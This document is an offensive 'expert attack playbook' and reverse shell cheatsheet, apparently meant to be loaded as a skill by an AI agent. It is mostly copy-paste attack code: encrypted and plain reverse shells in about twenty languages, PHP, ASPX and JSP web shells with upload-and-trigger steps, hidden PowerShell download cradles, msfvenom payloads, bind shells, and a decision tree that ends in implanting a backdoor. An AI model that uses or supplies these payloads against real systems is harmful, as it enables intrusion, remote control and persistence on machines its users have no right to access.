Reverse Shell Techniques

SKILL: Reverse Shell Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert reverse shell techniques. Covers reverse/bind shell decisions, encrypted shells (OpenSSL, socat SSL, ncat), web shell patterns (PHP/ASPX/JSP), PTY upgrade sequences, file transfer methods, PowerShell download cradles, and msfvenom payload generation. Base models miss encrypted shell syntax, proper PTY stabilization, and platform-specific transfer techniques.

0. RELATED ROUTING

Before going deep, consider loading:

• tunneling-and-pivoting after shell access for network pivoting
• linux-privilege-escalation or windows-privilege-escalation after landing shell
• windows-av-evasion when AV blocks shell payloads

Quick Reference

Also load SHELL_CHEATSHEET.md when you need:

• Complete one-liner reverse shells for 20+ languages
• Copy-paste ready payloads with placeholder substitution

---

1. REVERSE vs BIND SHELL DECISION

---

2. ENCRYPTED SHELLS

OpenSSL Reverse Shell

# Attacker: generate cert + listen
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes -subj '/CN=localhost'
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

# Victim:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ATTACKER:4444 > /tmp/s; rm /tmp/s

Socat Encrypted Shell

# Attacker: generate cert + listen
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 30 -out shell.crt
cat shell.key shell.crt > shell.pem
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork STDOUT

# Victim:
socat OPENSSL:ATTACKER:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Ncat SSL

# Attacker:
ncat --ssl -lvnp 4444

# Victim:
ncat --ssl ATTACKER 4444 -e /bin/bash

---

3. WEB SHELLS

PHP

<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_REQUEST['cmd']); ?>

<!-- Minimal stealth shell -->
<?=`$_GET[0]`?>

<!-- POST-based with password -->
<?php if($_POST['k']==='SECRET'){system($_POST['cmd']);} ?>

ASPX

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<% Process.Start(new ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}).StandardOutput.ReadToEnd(); %>

JSP

<%@ page import="java.io.*" %>
<% Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String l;while((l=br.readLine())!=null){out.println(l);} %>

Upload + Trigger Patterns

1. Find upload endpoint → upload shell with allowed extension bypass
2. Locate uploaded file (predictable path, directory listing, response leak)
3. Trigger: GET /uploads/shell.php?cmd=id
4. Upgrade to reverse shell: ?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

---

4. PTY UPGRADE SEQUENCE

Standard Python Upgrade

# Step 1: Spawn PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Step 2: Background shell
# Press Ctrl+Z

# Step 3: Configure terminal (on attacker)
stty raw -echo; fg

# Step 4: Set environment (back in shell)
export TERM=xterm-256color
stty rows 40 cols 160

Alternative Upgrades

# script command
script /dev/null -c bash

# socat full PTY (requires socat on victim)
# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER:4444

# rlwrap for readline support (attacker side)
rlwrap nc -lvnp 4444

# expect
/usr/bin/expect -c 'spawn bash; interact'

---

5. FILE TRANSFER METHODS

Linux

# wget / curl
wget http://ATTACKER:8000/file -O /tmp/file
curl http://ATTACKER:8000/file -o /tmp/file

# Python HTTP server (attacker side)
python3 -m http.server 8000

# nc file transfer
# Receiver:
nc -lvnp 9999 > file
# Sender:
nc RECEIVER 9999 < file

# base64 encode/decode (no tools needed)
# Encode on source:
base64 -w0 file
# Paste on target:
echo "BASE64_STRING" | base64 -d > file

# scp through pivot
scp -o ProxyJump=pivot user@target:/path/file ./local

Windows

# PowerShell DownloadFile
(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')

# PowerShell Invoke-WebRequest (PS 3.0+)
Invoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
iwr http://ATTACKER/file -o C:\temp\file

# certutil
certutil -urlcache -f http://ATTACKER/file C:\temp\file

# bitsadmin
bitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file

# SMB share (attacker hosts)
# Attacker: impacket-smbserver share /tmp/share -smb2support
copy \\ATTACKER\share\file C:\temp\file

---

6. POWERSHELL REVERSE SHELLS

# One-liner TCP reverse shell
$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()

# Download cradle + execute
powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"

# Base64 encoded execution
$cmd = '...reverse shell code...'
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
powershell -ep bypass -enc $encoded

---

7. MSFVENOM PAYLOADS

# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell

# Windows reverse shell (EXE)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

# Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o meter.exe

# Web payloads
msfvenom -p php/reverse_php LHOST=ATTACKER LPORT=4444 -f raw > shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw > shell.jsp
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f aspx -o shell.aspx

# DLL / HTA / VBS
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll -o evil.dll
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f hta-psh -o evil.hta
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f vbs -o evil.vbs

---

8. DECISION TREE

Need remote shell on target
│
├── Can execute commands already (RCE)?
│   ├── Linux target?
│   │   ├── bash/python/perl available? → one-liner reverse shell (CHEATSHEET.md)
│   │   ├── Need encryption? → OpenSSL or socat SSL shell (§2)
│   │   └── Outbound blocked? → bind shell or tunnel (see tunneling-and-pivoting)
│   │
│   ├── Windows target?
│   │   ├── PowerShell available? → PS reverse shell (§6)
│   │   ├── Need binary? → msfvenom payload (§7)
│   │   └── AV blocking? → load windows-av-evasion skill
│   │
│   └── Web server (upload possible)?
│       ├── PHP? → PHP web shell (§3) → upgrade to reverse shell
│       ├── ASP.NET? → ASPX shell (§3)
│       └── Java/Tomcat? → JSP shell (§3)
│
├── Got a dumb shell?
│   ├── Python available? → PTY upgrade (§4)
│   ├── script available? → script /dev/null -c bash (§4)
│   ├── socat on target? → socat full PTY (§4)
│   └── None? → rlwrap on attacker side for readline
│
├── Need to transfer tools?
│   ├── Linux: wget/curl/nc/base64 (§5)
│   ├── Windows: certutil/PowerShell/bitsadmin/SMB (§5)
│   └── No outbound? → base64 copy-paste (§5)
│
└── Shell established — next steps?
    ├── Privilege escalation → load linux/windows-privilege-escalation
    ├── Pivot to internal network → load tunneling-and-pivoting
    └── Persistence → implant backdoor

REVERSE SHELL CHEATSHEET

Supplementary reference for reverse-shell-techniques. Replace ATTACKER with your IP and PORT with your listener port.

Listener Setup

nc -lvnp PORT                    # Basic netcat listener
rlwrap nc -lvnp PORT             # With readline support
socat file:`tty`,raw,echo=0 TCP-LISTEN:PORT   # Full PTY listener

---

Bash

bash -i >& /dev/tcp/ATTACKER/PORT 0>&1

bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'

0<&196;exec 196<>/dev/tcp/ATTACKER/PORT; bash <&196 >&196 2>&196

Python / Python3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("ATTACKER",PORT));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

PHP

php -r '$sock=fsockopen("ATTACKER",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("ATTACKER",PORT);$proc=proc_open("sh",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

ruby -rsocket -e'exit if fork;c=TCPSocket.new("ATTACKER",PORT);loop{c.gets.chomp!;(exit! if $_=="exit");STDOUT.reopen(c);STDERR.reopen(c);STDIN.reopen(c);system($_)}'

Perl

perl -e 'use Socket;$i="ATTACKER";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Netcat

nc -e /bin/sh ATTACKER PORT

nc -e /bin/bash ATTACKER PORT

# Without -e (OpenBSD nc)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER PORT >/tmp/f

# ncat
ncat ATTACKER PORT -e /bin/bash
ncat --ssl ATTACKER PORT -e /bin/bash

Socat

socat TCP:ATTACKER:PORT EXEC:bash,pty,stderr,setsid,sigint,sane

socat TCP:ATTACKER:PORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane

socat OPENSSL:ATTACKER:PORT,verify=0 EXEC:/bin/sh

Java

Runtime r = Runtime.getRuntime();
Process p = r.exec("/bin/bash -c bash$IFS-i>&/dev/tcp/ATTACKER/PORT<&1");

# Java one-liner (via bash)
r = Runtime.getRuntime()
r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"})

Groovy

String host="ATTACKER";int port=PORT;String cmd="bash";Process p=["bash","-c",cmd+" -i >& /dev/tcp/"+host+"/"+port+" 0>&1"].execute();

PowerShell

powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($t);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

C# (via PowerShell)

# Compile and execute C# reverse shell
$code = @"
using System;using System.Net.Sockets;using System.Diagnostics;using System.IO;
class S{static void Main(){TcpClient c=new TcpClient("ATTACKER",PORT);Stream s=c.GetStream();Process p=new Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.RedirectStandardInput=true;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.UseShellExecute=false;p.Start();StreamWriter w=new StreamWriter(s);w.AutoFlush=true;StreamReader r=new StreamReader(s);while(true){w.Write("PS>");string cmd=r.ReadLine();if(cmd=="exit")break;p.StandardInput.WriteLine(cmd);w.Write(p.StandardOutput.ReadLine());}}}
"@
Add-Type -TypeDefinition $code -Language CSharp -OutputType ConsoleApplication -OutputAssembly shell.exe

Node.js

require('child_process').exec('bash -i >& /dev/tcp/ATTACKER/PORT 0>&1')

// Alternative: net module
(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("bash",[]);var client=new net.Socket();client.connect(PORT,"ATTACKER",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();

Lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER',PORT);os.execute('sh -i <&3 >&3 2>&3');"

lua5.1 -e 'local host,port="ATTACKER",PORT local socket=require("socket") local tcp=socket.tcp() tcp:connect(host,port) while true do local cmd,status=tcp:receive() local f=io.popen(cmd,"r") local s=f:read("*a") f:close() tcp:send(s) if status=="closed" then break end end tcp:close()'

Go

// Compile: GOOS=linux GOARCH=amd64 go build -o shell shell.go
package main
import("os/exec";"net")
func main(){c,_:=net.Dial("tcp","ATTACKER:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}

Rust

# Requires compilation; use cross-compile for target OS
# Minimal reverse shell in Rust — compile with:
# rustc shell.rs -o shell

Awk

awk 'BEGIN {s="/inet/tcp/0/ATTACKER/PORT";while(42){do{printf "$ " |& s;s |& getline c;if(c){while((c |& getline)>0)print $0 |& s;close(c)}}while(c!="exit")close(s)}}'

Dart

# Requires dart SDK
import 'dart:io';
void main() async {
  var s = await Socket.connect("ATTACKER", PORT);
  Process.start("bash", ["-i"]).then((p) { s.pipe(p.stdin); p.stdout.pipe(s); p.stderr.pipe(s); });
}

Elixir

:os.cmd(:erlang.binary_to_list("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'"))

---

BIND SHELLS

# Netcat bind shell (on victim)
nc -lvnp 4444 -e /bin/bash
# Connect from attacker:
nc VICTIM 4444

# Socat bind shell
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

# Python bind shell
python3 -c 'import socket,os;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);os.system("/bin/sh")'